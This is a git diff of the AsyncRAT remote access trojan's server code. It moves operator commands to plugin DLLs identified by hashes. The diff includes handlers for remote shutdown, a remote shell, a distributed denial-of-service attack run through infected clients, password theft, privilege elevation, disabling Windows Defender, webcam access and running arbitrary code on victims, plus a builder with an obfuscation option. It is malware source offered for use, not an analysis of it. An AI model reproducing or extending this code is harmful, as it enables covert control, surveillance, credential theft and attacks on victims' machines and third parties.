msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void ShutdownToolStripMenuItem1_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "pcOptions"; + packet.ForcePathObject("Option").AsString = "shutdown"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "pcOptions"; - msgpack.ForcePathObject("Option").AsString = "shutdown"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void LogoffToolStripMenuItem1_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "pcOptions"; + packet.ForcePathObject("Option").AsString = "logoff"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "pcOptions"; - msgpack.ForcePathObject("Option").AsString = "logoff"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e) @@ -994,7 +1197,11 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e) @@ -1009,8 +1216,14 @@ namespace Server { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "shell"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "shell"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; @@ -1021,23 +1234,45 @@ namespace Server Name = "shell:" + client.ID, Text = "shell:" + client.ID, F = this, - Client = client }; shell.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } - private readonly FormDOS formDOS = new FormDOS(); + private readonly FormDOS formDOS; private void DOSAttackToolStripMenuItem_Click_1(object sender, EventArgs e) { - if (listView1.Items.Count > 0) + try { - formDOS.Show(); + if (listView1.Items.Count > 0) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "dosAdd"; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + formDOS.Show(); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; } } @@ -1070,28 +1305,37 @@ namespace Server private void PASSWORDRECOVERYToolStripMenuItem_Click(object sender, EventArgs e) { - if (listView4.Items.Count > 0) + try { - foreach (ListViewItem item in listView4.Items) + if (listView4.Items.Count > 0) { - if (item.Text == "Recovery Password") + foreach (ListViewItem item in listView4.Items) { - return; + if (item.Text == "Recovery Password") + { + return; + } } } + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); + + ListViewItem lv = new ListViewItem(); + lv.Text = "Recovery Password"; + lv.SubItems.Add("0"); + lv.ToolTipText = Guid.NewGuid().ToString(); + listView4.Items.Add(lv); + listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + + getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; } - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery); - ListViewItem lv = new ListViewItem(); - lv.Text = "Recovery Password"; - lv.SubItems.Add("0"); - lv.ToolTipText = Guid.NewGuid().ToString(); - listView4.Items.Add(lv); - listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - - getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } private void GetAdminPrivilegesToolStripMenuItem_Click_1(object sender, EventArgs e) @@ -1101,8 +1345,14 @@ namespace Server { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "uac"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "uac"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { if (client.LV.SubItems[lv_admin.Index].Text != "Administrator") @@ -1111,7 +1361,11 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } } @@ -1122,8 +1376,14 @@ namespace Server { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "disableDefedner"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "defender"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { if (client.LV.SubItems[lv_admin.Index].Text == "Admin") @@ -1132,36 +1392,37 @@ namespace Server } } } - catch { } - } - } - - private void DisableNetStatToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "netStat"; - foreach (Clients client in GetSelectedClients()) + catch (Exception ex) { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + MessageBox.Show(ex.Message); + return; } + { } } - catch { } } private void BlankScreenToolStripMenuItem_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "blankscreen"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "blankscreen"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void WebcamToolStripMenuItem_Click(object sender, EventArgs e) @@ -1169,8 +1430,9 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteCamera.dll")); + foreach (Clients client in GetSelectedClients()) { FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; @@ -1189,7 +1451,32 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } + + //private void ReSendPluginsToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // try + // { + // MsgPack msgpack = new MsgPack(); + // msgpack.ForcePathObject("Packet").AsString = "cleanPlugin"; + // foreach (Clients client in GetSelectedClients()) + // { + // ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + // } + // } + // catch (Exception ex) + // { + // MessageBox.Show(ex.Message); + // return; + // } + //} + + [DllImport("uxtheme", CharSet = CharSet.Unicode)] + public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList); } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.resx b/AsyncRAT-C#/Server/Forms/Form1.resx index b503ef2..bb87df5 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.resx +++ b/AsyncRAT-C#/Server/Forms/Form1.resx @@ -610,9 +610,6 @@ 693, 65 - - 1045, 65 - 112 diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index 45367fe..38bb926 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -199,25 +199,22 @@ namespace Server.Forms if (saveFileDialog1.ShowDialog() == DialogResult.OK) { btnBuild.Enabled = false; - await Task.Run(() => + WriteSettings(asmDef); + if (chkObfu.Checked) { - WriteSettings(asmDef); - if (chkObfu.Checked) - { - EncryptString.DoEncrypt(asmDef); - Renaming.DoRenaming(asmDef); - } - asmDef.Write(saveFileDialog1.FileName); - asmDef.Dispose(); - if (btnAssembly.Checked) - { - WriteAssembly(saveFileDialog1.FileName); - } - if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) - { - IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); - } - }); + //EncryptString.DoEncrypt(asmDef); + Renaming.DoRenaming(asmDef); + } + asmDef.Write(saveFileDialog1.FileName); + asmDef.Dispose(); + if (btnAssembly.Checked) + { + WriteAssembly(saveFileDialog1.FileName); + } + if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) + { + IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); + } MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); SaveSettings(); this.Close(); diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs index ea4c21c..9283b38 100644 --- a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs @@ -84,7 +84,7 @@ this.Controls.Add(this.groupBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormCertificate"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Certificate"; this.Load += new System.EventHandler(this.FormCertificate_Load); this.groupBox1.ResumeLayout(false); diff --git a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs index 47dfb20..0aeeca7 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs @@ -52,6 +52,7 @@ // textBox1 // this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.textBox1.Enabled = false; this.textBox1.Location = new System.Drawing.Point(0, 384); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(757, 26); @@ -60,7 +61,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -83,8 +83,8 @@ } #endregion - private System.Windows.Forms.TextBox textBox1; public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; + public System.Windows.Forms.Timer timer1; + public System.Windows.Forms.TextBox textBox1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs index e6187fe..91b1c83 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -11,13 +11,17 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; +using System.IO; +using Server.Algorithm; namespace Server.Forms { public partial class FormChat : Form { public Form1 F { get; set; } + internal Clients ParentClient { get; set; } internal Clients Client { get; set; } + private string Nickname = "Admin"; public FormChat() { @@ -26,7 +30,7 @@ namespace Server.Forms private void TextBox1_KeyDown(object sender, KeyEventArgs e) { - if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) + if (textBox1.Enabled && e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) { richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); MsgPack msgpack = new MsgPack(); @@ -46,23 +50,31 @@ namespace Server.Forms { Nickname = nick; MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chat"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Chat.dll")); + ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); } } private void FormChat_FormClosed(object sender, FormClosedEventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + if (Client != null) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch { } + } } private void Timer1_Tick(object sender, EventArgs e) { try { - if (!Client.TcpClient.Connected) this.Close(); + if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close(); } catch { } } diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs index a369eca..411d850 100644 --- a/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs @@ -36,8 +36,6 @@ this.txtPort = new System.Windows.Forms.TextBox(); this.txtHost = new System.Windows.Forms.TextBox(); this.groupBox2 = new System.Windows.Forms.GroupBox(); - this.btnAll = new System.Windows.Forms.RadioButton(); - this.btnSelected = new System.Windows.Forms.RadioButton(); this.label4 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); this.txtTimeout = new System.Windows.Forms.TextBox(); @@ -100,8 +98,6 @@ // // groupBox2 // - this.groupBox2.Controls.Add(this.btnAll); - this.groupBox2.Controls.Add(this.btnSelected); this.groupBox2.Controls.Add(this.label4); this.groupBox2.Controls.Add(this.label3); this.groupBox2.Controls.Add(this.txtTimeout); @@ -112,28 +108,6 @@ this.groupBox2.TabStop = false; this.groupBox2.Text = "Settings"; // - // btnAll - // - this.btnAll.AutoSize = true; - this.btnAll.Checked = true; - this.btnAll.Location = new System.Drawing.Point(455, 43); - this.btnAll.Name = "btnAll"; - this.btnAll.Size = new System.Drawing.Size(103, 24); - this.btnAll.TabIndex = 7; - this.btnAll.TabStop = true; - this.btnAll.Text = "All Clients"; - this.btnAll.UseVisualStyleBackColor = true; - // - // btnSelected - // - this.btnSelected.AutoSize = true; - this.btnSelected.Location = new System.Drawing.Point(273, 43); - this.btnSelected.Name = "btnSelected"; - this.btnSelected.Size = new System.Drawing.Size(149, 24); - this.btnSelected.TabIndex = 6; - this.btnSelected.Text = "Selected Clients"; - this.btnSelected.UseVisualStyleBackColor = true; - // // label4 // this.label4.AutoSize = true; @@ -235,8 +209,6 @@ private System.Windows.Forms.Label label4; private System.Windows.Forms.Label label3; private System.Windows.Forms.TextBox txtTimeout; - private System.Windows.Forms.RadioButton btnAll; - private System.Windows.Forms.RadioButton btnSelected; private System.Windows.Forms.GroupBox groupBox3; private System.Windows.Forms.Button btnStop; private System.Windows.Forms.Button btnAttack; diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.cs b/AsyncRAT-C#/Server/Forms/FormDOS.cs index f996ee4..196df77 100644 --- a/AsyncRAT-C#/Server/Forms/FormDOS.cs +++ b/AsyncRAT-C#/Server/Forms/FormDOS.cs @@ -12,6 +12,7 @@ using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; +using System.IO; namespace Server.Forms { @@ -20,7 +21,9 @@ namespace Server.Forms private TimeSpan timespan; private Stopwatch stopwatch; private string status = "is online"; - private List selectedClients = new List(); + public object sync = new object(); + public List selectedClients = new List(); + public List PlguinClients = new List(); public FormDOS() { InitializeComponent(); @@ -37,74 +40,55 @@ namespace Server.Forms } catch { return; } - if (Program.form1.listView1.Items.Count > 0) + if (PlguinClients.Count > 0) { - btnAttack.Enabled = false; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "dos"; - msgpack.ForcePathObject("Option").AsString = "postStart"; - msgpack.ForcePathObject("Host").AsString = txtHost.Text; - msgpack.ForcePathObject("Port").AsString = txtPort.Text; - msgpack.ForcePathObject("Timeout").AsString = txtTimeout.Text; - if (btnAll.Checked) + try { - foreach (ListViewItem itm in Program.form1.listView1.Items) + btnAttack.Enabled = false; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "dos"; + msgpack.ForcePathObject("Option").AsString = "postStart"; + msgpack.ForcePathObject("Host").AsString = txtHost.Text; + msgpack.ForcePathObject("Port").AsString = txtPort.Text; + msgpack.ForcePathObject("Timeout").AsString = txtTimeout.Text; + + foreach (Clients clients in PlguinClients) { - Clients client = (Clients)itm.Tag; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + selectedClients.Add(clients); + ThreadPool.QueueUserWorkItem(clients.Send, msgpack.Encode2Bytes()); } + + btnStop.Enabled = true; + timespan = TimeSpan.FromSeconds(Convert.ToInt32(txtTimeout.Text) * 60); + stopwatch = new Stopwatch(); + stopwatch.Start(); + timer1.Start(); + timer2.Start(); } - else - { - foreach (ListViewItem itm in Program.form1.listView1.SelectedItems) - { - Clients client = (Clients)itm.Tag; - selectedClients.Add(client); - client.LV.ForeColor = Color.Green; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - btnStop.Enabled = true; - btnAll.Enabled = false; - btnSelected.Enabled = false; - timespan = TimeSpan.FromSeconds(Convert.ToInt32(txtTimeout.Text) * 60); - stopwatch = new Stopwatch(); - stopwatch.Start(); - timer1.Start(); - timer2.Start(); + catch { } } } private void BtnStop_Click(object sender, EventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "dos"; - msgpack.ForcePathObject("Option").AsString = "postStop"; - if (btnAll.Checked) + try { - foreach (ListViewItem itm in Program.form1.listView1.Items) + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "dos"; + msgpack.ForcePathObject("Option").AsString = "postStop"; + + foreach (Clients clients in PlguinClients) { - Clients client = (Clients)itm.Tag; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - else - { - foreach (Clients client in selectedClients.ToList()) - { - client.LV.ForeColor = Color.Empty; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(clients.Send, msgpack.Encode2Bytes()); } selectedClients.Clear(); - selectedClients = new List(); + btnAttack.Enabled = true; + btnStop.Enabled = false; + timer1.Stop(); + timer2.Stop(); + status = "is online"; } - btnAttack.Enabled = true; - btnStop.Enabled = false; - btnAll.Enabled = true; - btnSelected.Enabled = true; - timer1.Stop(); - timer2.Stop(); - status = "is online"; + catch { } } private void Timer1_Tick(object sender, EventArgs e) @@ -114,8 +98,6 @@ namespace Server.Forms { btnAttack.Enabled = true; btnStop.Enabled = false; - btnAll.Enabled = true; - btnSelected.Enabled = true; timer1.Stop(); timer2.Stop(); status = "is online"; @@ -139,6 +121,16 @@ namespace Server.Forms private void FormDOS_FormClosing(object sender, FormClosingEventArgs e) { + try + { + foreach (Clients clients in PlguinClients) + { + clients.Disconnected(); + } + PlguinClients.Clear(); + selectedClients.Clear(); + } + catch { } this.Hide(); this.Parent = null; e.Cancel = true; diff --git a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs index 2e08d41..738fa8d 100644 --- a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs +++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs @@ -15,6 +15,7 @@ using Server.Connection; using FastColoredTextBoxNS; using Microsoft.CSharp; using Microsoft.VisualBasic; +using Server.Algorithm; namespace Server.Forms { @@ -46,11 +47,17 @@ namespace Server.Forms { reference.Add(ip); } + + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "executeDotNetCode"; + packet.ForcePathObject("Option").AsString = comboLang.Text; + packet.ForcePathObject("Code").AsString = txtBox.Text; + packet.ForcePathObject("Reference").AsString = string.Join(",", reference); + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "executeDotNetCode"; - msgpack.ForcePathObject("Option").AsString = comboLang.Text; - msgpack.ForcePathObject("Code").AsString = txtBox.Text; - msgpack.ForcePathObject("Reference").AsString = string.Join(",", reference); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (ListViewItem item in Program.form1.listView1.SelectedItems) { diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index 37d2b7a..5b93886 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -52,14 +52,14 @@ this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); this.createFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.timer1 = new System.Windows.Forms.Timer(this.components); - this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); - this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -75,6 +75,7 @@ this.columnHeader1, this.columnHeader2}); this.listView1.ContextMenuStrip = this.contextMenuStrip1; + this.listView1.HideSelection = false; this.listView1.LargeImageList = this.imageList1; this.listView1.Location = new System.Drawing.Point(0, 1); this.listView1.Name = "listView1"; @@ -106,19 +107,19 @@ this.toolStripSeparator3, this.openClientFolderToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439); + this.contextMenuStrip1.Size = new System.Drawing.Size(233, 406); // // backToolStripMenuItem // this.backToolStripMenuItem.Name = "backToolStripMenuItem"; - this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.backToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // rEFRESHToolStripMenuItem // this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; - this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); // @@ -131,7 +132,7 @@ this.toolStripSeparator2, this.driversListsToolStripMenuItem}); this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; - this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.gOTOToolStripMenuItem.Text = "Go To"; // // dESKTOPToolStripMenuItem @@ -170,69 +171,81 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(229, 6); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; - this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // uPLOADToolStripMenuItem // this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; - this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); // // eXECUTEToolStripMenuItem // this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; - this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.renameToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; - this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; - this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); // // dELETEToolStripMenuItem // this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; - this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); // // toolStripSeparator4 // this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6); + this.toolStripSeparator4.Size = new System.Drawing.Size(229, 6); // // createFolderToolStripMenuItem // this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; - this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(229, 6); + // + // openClientFolderToolStripMenuItem + // + this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; + this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; + this.openClientFolderToolStripMenuItem.Click += 